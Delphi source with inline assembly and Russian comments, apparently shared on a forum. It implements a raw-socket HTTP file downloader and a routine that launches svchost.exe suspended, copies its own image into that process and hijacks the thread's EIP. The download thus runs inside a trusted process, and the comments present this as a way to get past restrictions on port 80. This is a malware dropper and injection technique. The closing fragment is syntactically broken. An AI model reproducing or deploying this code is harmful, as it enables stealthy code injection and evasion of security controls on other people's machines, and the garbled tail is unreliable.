Function MyPos(Substr, Str: PChar): dword; stdcall;
asm
mov eax, Substr
mov edx, str
test eax, eax
je @noWork
test edx, edx
je @stringEmpty
push ebx
push esi
push edi
mov esi, eax
mov edi, edx
push eax
push edx
call lstrlen
mov ecx, eax
pop eax
push edi
push eax
push eax
call lstrlen
mov edx, eax
pop eax
dec edx
js @fail
mov al, [esi]
inc esi
sub ecx, edx
jle @fail

@loop:
repne scasb
jne @fail
mov ebx, ecx
push esi
push edi
mov ecx, edx
repe cmpsb
pop edi
pop esi
je @found
mov ecx, ebx
jmp @loop

@fail:
pop edx
xor eax, eax
jmp @exit

@stringEmpty:
xor eax, eax
jmp @noWork

@found:
pop edx
mov eax, edi
sub eax, edx

@exit:
pop edi
pop esi
pop ebx

@noWork:
end;

{ Копирование строк } 
Function MyCopy(S:PChar; Index, Count: Dword): PChar; stdcall;
asm
mov eax, Count
inc eax
push eax
push LPTR
call LocalAlloc
mov edi, eax
mov ecx, Count
mov esi, S
add esi, Index
dec esi
rep movsb
end;

{ Копирование участка памяти }
procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
asm
push ecx
push esi
push edi
mov esi, Source
mov edi, Destination
mov ecx, Length
rep movsb
pop edi
pop esi
pop ecx
end;


Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer;
var
Buffer: pointer;
BufferLength: dword;
BufferUsed: dword;
Bytes: integer;
Header: PChar;
Site: PChar;
URL: PChar;
FSocket: integer;
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
Str: PChar;
WSAData: TWSAData;
hHeap: dword;
begin
Result := nil;
hHeap := GetProcessHeap();
WSAStartup(257, WSAData);
Site := MyCopy(Address, 1, MyPos('/', Address) - 1);
URL := MyCopy(Address, MyPos('/', Address), lstrlen(Address) - MyPos('/', Address) + 1);
Buffer := HeapAlloc(hHeap, 0, 1024);
try
BufferLength := 1024;
BufferUsed := 0;
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(80);
SockAddrIn.sin_addr.s_addr := inet_addr(Site);
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt := gethostbyname(Site);
if HostEnt = nil then Exit;
SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
end;
if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit;
Str := HeapAlloc(hHeap, 0, 1024);
lstrcpy(Str, 'GET ');
lstrcat(Str, URL);
lstrcat(Str, ' HTTP/1.0'#10#13'Host: ');
lstrcat(Str, Site);
lstrcat(Str, #13#10'Connection: close'#13#10#13#10);
send(FSocket, Str^, lstrlen(Str), 0);
HeapFree(hHeap, 0, Str);
repeat
if BufferLength - BufferUsed < 1024 then
begin
Inc(BufferLength, 1024);
Buffer := HeapReAlloc(hHeap, 0, Buffer, BufferLength);
end;
Bytes := recv(FSocket, pointer(dword(Buffer) + BufferUsed)^, 1024, 0);
if Bytes > 0 then Inc(BufferUsed, Bytes);
until (Bytes = 0) or (Bytes = SOCKET_ERROR);
Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3);
ReturnSize := BufferUsed - lstrlen(header);
Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if Result = nil then Exit;
MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize);
finally
HeapFree(hHeap, 0, Buffer);
end;
end;

{ процедура выполняющаяся в контексте доверенного приложения }
Procedure Download(); stdcall;
const
URL : PChar = 'google.ru/images/nav_logo3.png';
var
Buff: pointer;
Size: dword;
Bytes: dword;
dFile: dword;
begin
LoadLibrary('wsock32.dll');
Buff := DownloadFile(URL, Size);
dFile := CreateFile('c:\134.mp3', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0);
WriteFile(dFile, Buff^, Size, Bytes, nil);
CloseHandle(dFile);
ExitProcess(0);
end;



procedure PotokGetInetFile;
var
St: TStartupInfo;
Pr: TProcessInformation;
InjectSize: dword;
Code: pointer;
Injected: pointer;
BytesWritten: dword;
Context: _CONTEXT;

begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_SHOW;
//запускаем процесс, которому разрешено лезть на 80 порт
CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Code := pointer(GetModuleHandle(nil));
InjectSize := PImageOptionalHeader(pointer(integer(Code) +
PImageDosHeader(Code)._lfanew +
SizeOf(dword) +
SizeOf(TImageFileHeader))).SizeOfImage;
//выделяем память в процессе
Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//внедряем код
WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
//изменяем контекст нити
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(Pr.hThread, Context);
Context.Eip := dword(@Download);
SetThreadContext(Pr.hThread, Context);
//запускаем процесс
ResumeThread(Pr.hThread);


end;

...
Procedure Download(inetfile:string; savefile:string); stdcall;
......
Context.Eip := dword(@Download('11','22'));
....